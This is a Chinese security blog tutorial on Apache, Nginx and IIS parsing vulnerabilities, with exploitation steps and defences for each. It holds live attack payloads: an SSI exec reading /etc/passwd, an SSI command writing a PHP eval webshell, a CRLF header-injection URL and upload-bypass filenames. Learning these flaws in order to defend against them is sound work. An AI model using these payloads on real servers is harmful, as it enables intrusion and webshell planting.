中间件解析漏洞

1602 字
8 分钟
中间件解析漏洞

一、中间件概述#

1.1 什么是中间件?#

中间件是不同服务之间的产品,在安全领域泛指服务器软件、消息队列、非关系型数据库等。

分类典型产品
服务器软件Apache、Nginx、IIS、WebLogic、JBoss、Tomcat
消息队列ActiveMQ、RabbitMQ、RocketMQ
非关系型数据库Redis、MongoDB、Memcached

1.2 PHP 程序的特殊性#

PHP 具有边运行、边解释的特性,可由 Apache / Nginx / IIS 等多种中间件解析。


二、Apache 解析漏洞#

2.1 Apache HTTPD 多后缀解析漏洞#

漏洞原理#

  • Apache 支持一个文件有多个后缀,如 shell.php.doc

  • Apache 从后往前依次识别后缀:

  • 遇到不认识的后缀 → 继续往前

  • 遇到认识的后缀 → 按该后缀解析

  • 若全部不认识 → 当成默认类型(text/plain)

Apache 可识别的后缀存储在 /etc/mime.types

关键配置:

AddHandler application/x-httpd-php .php

只要文件名中存在 .php,就会被当作 PHP 解析。

利用方式#

1. 上传 shell.php.png(白名单允许 .png)
2. Apache 识别到 .php → 作为 PHP 解析

前提条件#

1. Apache 以模块形式运行(非 CGI/FastCGI)
2. 配置中存在 AddHandler application/x-httpd-php .php
3. 未修改文件名

漏洞防御#

1. 修改文件名(随机重命名)
2. 取消 AddHandler 配置中的多后缀支持
3. 使用白名单限制上传类型

2.2 Apache HTTPD 换行解析漏洞(CVE-2017-15715)#

漏洞信息#

属性值
漏洞编号CVE-2017-15715
影响版本Apache 2.4.0 ~ 2.4.29
利用方式在文件名后添加 \x0A(换行符)

漏洞原理#

shell.php\x0A → Apache 解析为 PHP 文件
  • shell.php%0a 绕过黑名单校验
  • 服务器保存文件名为 shell.php(换行符被忽略)
  • 访问 /shell.php%0a 即可执行

利用步骤#

Terminal window
1. 上传 shell.php(黑名单拦截)
2. 改名为 shell.php%0a(抓包修改,在 .php 后插入 0A)
3. 上传成功
4. 访问 /shell.php%0a → PHP 代码执行

⚠️ 注意是 \x0A 而不是 \x0D\x0A

漏洞防御#

  • 升级 Apache 到最新版本
  • 使用白名单而非黑名单

2.3 Apache SSI 远程命令执行漏洞#

漏洞原理#

SSI(Server Side Includes,服务器端包含)允许在 HTML 文件中通过注释行调用命令或指针。

SSI 命令格式:

<!--#exec cmd="命令" -->

适用文件类型: .shtml、.shtm、.stm

利用方式#

1. 读取文件:

<!--#exec cmd="cat /etc/passwd" -->

2. 写入 Webshell:

<!--#exec cmd="echo '<?php eval($_REQUEST[6]);?>' > /var/www/html/shell.php" -->

漏洞条件#

  • 服务器开启了 SSI 与 CGI 支持
  • 可上传 .shtml 文件

漏洞防御#

1. 关闭 SSI 功能
2. 过滤 SSI 特殊字符(<, >, #, -, ")

三、Nginx 解析漏洞#

3.1 Nginx 解析漏洞(全版本)#

漏洞原理#

Nginx 拿到 URI /test.jpg/shell.php,识别 .php 后缀后转交给 PHP 处理;PHP 发现 /test.jpg/shell.php 不存在,删去最后的 /shell.php,将 /test.jpg 当作要执行的文件。

关键配置:

php.ini
cgi.fix_pathinfo = 1
# php-fpm.conf
security.limit_extensions = .php .jpg
配置项说明
cgi.fix_pathinfo=1路径不存在时,依次删除最后一段尝试
security.limit_extensions允许 PHP 执行的后缀(含 .jpg 等非 PHP 后缀)

利用方式#

1. 上传图片马 shell.jpg
2. 访问 /shell.jpg/shell.php
3. PHP 处理时退回 shell.jpg → 执行其中的 PHP 代码

漏洞防御#

php.ini
cgi.fix_pathinfo = 0
# php-fpm.conf
security.limit_extensions = .php

3.2 Nginx 文件名逻辑漏洞(CVE-2013-4547)#

漏洞信息#

属性值
漏洞编号CVE-2013-4547
影响版本Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7

漏洞原理#

  • Nginx 解析 URI 时,遇到空格 [0x20] 会特殊处理,跳过后续的 NULL 截断检测

  • 访问 shell.gif[0x20][0x00].php 时:

  • 文件名以 .php 结尾 → 交给 FastCGI

  • FastCGI 遇到 [0x00] → 截断 → 读取 shell.gif[0x20]

  • 文件被当作 PHP 执行

利用步骤#

1. 上传 shell.gif(文件名后加空格 [0x20])
2. 访问 /uploadfiles/shell.gif[0x20][0x00].php
3. 抓包,将两个字符分别改为 20 和 00
4. 发送请求 → 图片马被解析为 PHP

⚠️ [0x20] 是空格,[0x00] 是 NULL,均不需要 URL 编码。

漏洞原因#

Nginx 检测到空格 → 跳转到 sw_check_uri 继续处理
→ 零截断符被跳过 → 逻辑漏洞

漏洞防御#

  • 升级 Nginx 版本
  • 修改配置,避免 security.limit_extensions 为空

3.3 Nginx 配置错误漏洞#

漏洞1:CRLF 注入#

原理: Nginx 会对 $uri 进行解码,%0a%0d 被解析为换行符,注入 HTTP 响应头。

利用:

http://target.com/%0d%0aSet-Cookie:evil=1

响应头中插入 Set-Cookie,可能导致会话固定或 XSS。

错误配置示例:

location / {
return 302 https://$host$uri;
}

漏洞2:目录穿越#

原理: 配置 alias 时忘记加 /,导致目录穿越。

错误配置:

location /files {
alias /home/;
}

利用:

http://target.com/files../ → 访问根目录

正确配置:

location /files/ {
alias /home/;
}

漏洞3:add_header 被覆盖#

原理: 子块中的 add_header 会覆盖父块中的设置。

add_header X-Frame-Options "SAMEORIGIN";
location /test2/ {
add_header X-Content-Type-Options "nosniff"; # 覆盖父块
}

→ /test2/ 下失去 X-Frame-Options 保护

漏洞防御#

  • 仔细检查 Nginx 配置文件
  • 避免 $uri 直接用于跳转
  • alias 配置末尾加 /
  • 子块中不覆盖全局安全头

四、IIS 解析漏洞#

4.1 IIS 7.5 解析漏洞#

漏洞信息#

属性值
版本IIS 7.0 / 7.5
运行模式Fast-CGI
原理/shell.jpg/1.php 被解析为 PHP

前提条件#

1. php.ini 中 cgi.fix_pathinfo = 1
2. Handler Mapping 中未勾选特定选项(取消对路径的检查)

利用方式#

1. 上传图片马 shell.jpg
2. 访问 /shell.jpg/1.php
3. 文件被当作 PHP 解析

漏洞防御#

1. php.ini: cgi.fix_pathinfo = 0
2. Handler Mapping 中勾选相应限制
3. 升级到 IIS 7.5+

4.2 IIS 6.0 解析漏洞#

漏洞1:目录解析漏洞#

原理: 文件夹名以 .asp 结尾,其内部所有文件都被解析为 ASP。

/a.asp/
├── 1.txt → 被解析为 ASP 执行
└── image.jpg → 被解析为 ASP 执行

漏洞2:文件名解析漏洞#

原理: 分号 ; 后的内容被忽略。

shell.asp;.jpg → 视为 .asp 文件执行

利用方式:

上传 shell.asp;.jpg → IIS 解析为 ASP 执行

漏洞防御#

  • 升级到 IIS 7.0+
  • 限制上传文件类型
  • 使用白名单机制

📌 快速参考卡片#

Apache 漏洞#

漏洞利用方式
多后缀解析shell.php.png 作为 PHP 执行
换行解析 (CVE-2017-15715)shell.php%0a 绕过黑名单
SSI RCE上传 .shtml,<!--#exec cmd="id"-->

Nginx 漏洞#

漏洞利用方式
解析漏洞shell.jpg/shell.php → 执行 shell.jpg 中的 PHP
CVE-2013-4547shell.gif[空格][NULL].php 绕过
配置错误CRLF 注入、目录穿越、add_header 覆盖

IIS 漏洞#

漏洞利用方式
IIS 7.5shell.jpg/1.php → 执行 shell.jpg 中的 PHP
IIS 6.0 目录解析/a.asp/1.txt → 执行 1.txt 为 ASP
IIS 6.0 文件名解析shell.asp;.jpg → 执行 shell.asp

防御通用原则#

1. 升级中间件版本
2. 避免用户控制文件名
3. 使用白名单校验扩展名
4. 配置文件上传目录执行权限
5. 禁用不必要的功能(SSI、CGI 等)

文章分享

如果这篇文章对你有帮助,欢迎分享给更多人!

中间件解析漏洞
https://blog.emberlag.com/posts/middleware-parsing-vulnerability/
作者
3mb3rl4g
发布于
2026-10-03
许可协议
CC BY-NC-SA 4.0

评论区

Profile Image of the Author
3mb3rl4g
一名现实世界的沉默观察员
公告
把零散的思绪归档,我不着急写完,写得慢一点,刚好能让很久以后,还能在此刻的文字里找回共鸣。
分类
标签
最新动态
站点统计
文章
21
分类
2
标签
13
总字数
33,455
运行时长
0 天
最后活动
0 天前
文章目录